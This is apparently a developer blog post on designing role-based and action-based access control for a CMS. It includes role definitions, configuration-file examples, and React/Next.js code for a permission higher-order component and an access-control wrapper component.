&lt;p&gt;When it comes to roles, I recommend great flexibility, i.e. the ability to create and define user accounts and groups freely &lt;strong&gt;(roles like "contributor", "manager" etc. are not hard-coded, but put into a configuration file that can be changed per application)&lt;/strong&gt;. The role configuration is unaccessible to the user, but the engine itself should be free from hard-coded roles.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Approaches to Access Control
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Action-Based Access Control:&lt;/strong&gt; Grants permissions based on specific actions (e.g., create, read, update, delete) that users can perform.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Role-Based Access Control:&lt;/strong&gt; Grants permissions based on user roles (such as Contributor, Manager, or Admin), which group together sets of privileges.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While each method has merit, a combined approach often yields the most maintainable and secure system in modern CMS implementations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Role Definitions
&lt;/h3&gt;

&lt;p&gt;A typical CMS will include roles such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Super Admin:&lt;/strong&gt; Full access, including user and site management.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Admin:&lt;/strong&gt; Manage content and users, but may not access system settings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manager:&lt;/strong&gt; Schedule and supervise content but with limited system access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Contributor:&lt;/strong&gt; Create and edit content within set boundaries.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Author:&lt;/strong&gt; Submit content, sometimes with limited publishing rights.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  RBAC vs ACL flow
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Roles Checker - per Page
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx85qk4f05krmvz6t4arz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx85qk4f05krmvz6t4arz.png" alt=" " width="487" height="490"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Roles Checker - per Action
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffma3oorzgcks0f448ea5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffma3oorzgcks0f448ea5.png" alt=" " width="482" height="482"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Access Level
&lt;/h2&gt;

&lt;p&gt;Below are my approach options regarding access level definitions. We can combine the definitions of the 2 approaches. Roles will be defined on BE and Action Permissions will be defined on FE.&lt;/p&gt;

&lt;p&gt;Examples below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6r1fq9958r2u5hy55pi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6r1fq9958r2u5hy55pi.png" alt=" " width="767" height="223"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Action-based approach
&lt;/h3&gt;

&lt;p&gt;Based on &lt;a href="https://stackoverflow.com/questions/1193309/common-cms-roles-and-access-levels" rel="noopener noreferrer"&gt;Common CMS roles and access levels&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhw4c4b4tv0znpq3arfwn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhw4c4b4tv0znpq3arfwn.png" alt=" " width="768" height="887"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Role-based Approach
&lt;/h3&gt;

&lt;p&gt;Based on &lt;a href="https://stackoverflow.com/questions/1598411/what-names-for-standard-website-user-roles" rel="noopener noreferrer"&gt;What names for standard website user roles?&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxu8syyjf78myc2hnkfru.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxu8syyjf78myc2hnkfru.png" alt=" " width="770" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Problems and Challenges
&lt;/h3&gt;

&lt;p&gt;Implementing RBAC can introduce issues if not planned carefully:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Roles and permissions hard-coded in the app are hard to maintain.&lt;/li&gt;
&lt;li&gt;Exposing role configuration to end-users creates security risks.&lt;/li&gt;
&lt;li&gt;Ensuring consistent access checks, especially with server-side rendering (SSR), is non-trivial.&lt;/li&gt;
&lt;li&gt;Permissions must adapt to evolving business needs without complete rewrites.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Designing Flexible Permissions Configs
&lt;/h2&gt;

&lt;p&gt;A robust solution avoids hard-coded roles by storing them in configuration files (e.g., &lt;code&gt;configs/roles/index.ts&lt;/code&gt;). This enables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Adjusting roles and permissions independently of the CMS core.&lt;/li&gt;
&lt;li&gt;Abstracting role definitions away from UI components.&lt;/li&gt;
&lt;li&gt;Easy scaling as new roles or features emerge.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example configuration for roles and permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// configs/roles/index.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ROLES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;SUPER_ADMIN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;super.admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;ADMIN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;MANAGER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;manager&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;CONTRIBUTOR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;contributor&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// configs/policies/users.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/users&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;roles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ROLES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SUPER_ADMIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ROLES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ADMIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ROLES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MANAGER&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;create&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ROLES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ADMIN&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ROLES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SUPER_ADMIN&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Implementation Strategies in React/Next.js
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Using Higher-Order Components (HOC)
&lt;/h3&gt;

&lt;p&gt;Higher-Order Components wrap pages or components to enforce authentication and permission checks, enabling server-side rendering (SSR) where required.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;root&amp;gt;/utils/lib/withPermission.tsx&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useCallback&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;NextApp&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/app&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useUserStore&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stores/user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;withPermission&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NextApp&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;any&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useUserStore&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}))&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hasAccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;?.[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]?.[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
            &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;roles&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
          &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;hasAccess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;allowed&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;App&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&amp;gt; : &amp;lt;div&amp;gt;Permission Denied...&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;withPermission&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;&amp;lt;root&amp;gt;/pages/manage-users/index.tsx&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Head&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/head&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Layout&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;components/Layout&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;roles&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;configs/policies&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;withPermission&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utils/lib/withPermission&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Head&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;CMS&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;Manage&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/title&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Head&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Layout&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Manage&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Layout&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;MANAGE_USERS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;roles&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;withPermission&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Pros
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;-&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Cons
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Can only check per page, not per action&lt;/li&gt;
&lt;li&gt;Need to define per page&lt;/li&gt;
&lt;li&gt;Cannot check auth &amp;amp; session first before checking roles&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Using Component Wrapper
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;root&amp;gt;/components/AccessControl/index.tsx&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;usePermission&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utils/hooks/usePermission&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;AccessControl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;renderNoAccess&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;checkPermissions&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;usePermission&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;permitted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkPermissions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permitted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;renderNoAccess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;AccessControl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;defaultProps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="na"&gt;renderNoAccess&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;AccessControl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



